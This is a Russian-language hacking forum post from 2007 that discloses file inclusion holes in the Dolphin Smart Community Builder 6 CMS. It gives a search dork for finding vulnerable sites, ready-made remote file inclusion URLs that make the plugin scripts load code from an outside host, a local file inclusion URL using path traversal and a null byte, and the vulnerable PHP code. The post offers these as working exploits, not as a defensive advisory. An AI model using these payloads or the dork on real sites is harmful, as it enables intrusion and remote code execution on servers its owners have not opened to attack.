ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Dolphin Smart Community Builder 6 php include
  #1  
Старый 04.12.2007, 21:38
Аватар для Macro
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062

Репутация: 1079


По умолчанию Dolphin Smart Community Builder 6 php include

Dolphin Smart Community Builder php include

http://www.boonex.com/products/dolphin/


dork
intext:"Powered by Dolphin Smart Community Builder"


//но много где копирайты выключены

RFI

работает при register_globals on

/plugins/safehtml/safehtml.php?dir[plugins]=http://remote_script?
/plugins/safehtml/HTMLSax3.php?dir[plugins]=http://remote_script?

/plugins/safehtml/safehtml.php
PHP код:
require_once( "{$dir['plugins']}safehtml/HTMLSax3.php" ); 
/plugins/safehtml/HTMLSax3.php
PHP код:
require_once( "{$dir['plugins']}safehtml/HTMLSax3/States.php" );
require_once( 
"{$dir['plugins']}safehtml/HTMLSax3/Decorators.php" ); 

LFI

работает при magic_quotes_gpc off

/ray/XML.php?module=../../local_script%00

/ray/XML.php
PHP код:
$sModule = isset($_REQUEST['module']) ? $_REQUEST['module'] : "";

        
$sModuleIncPath $sModulesPath $sModule "/inc/";
        
        require_once(
$sModuleIncPath "header.inc.php");
        require_once(
$sModuleIncPath "constants.inc.php");
        require_once(
$sModuleIncPath "xmlTemplates.inc.php");
        require_once(
$sModuleIncPath "customFunctions.inc.php");
        require_once(
$sModuleIncPath "functions.inc.php");
        require_once(
$sModuleIncPath "actions.inc.php"); 
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ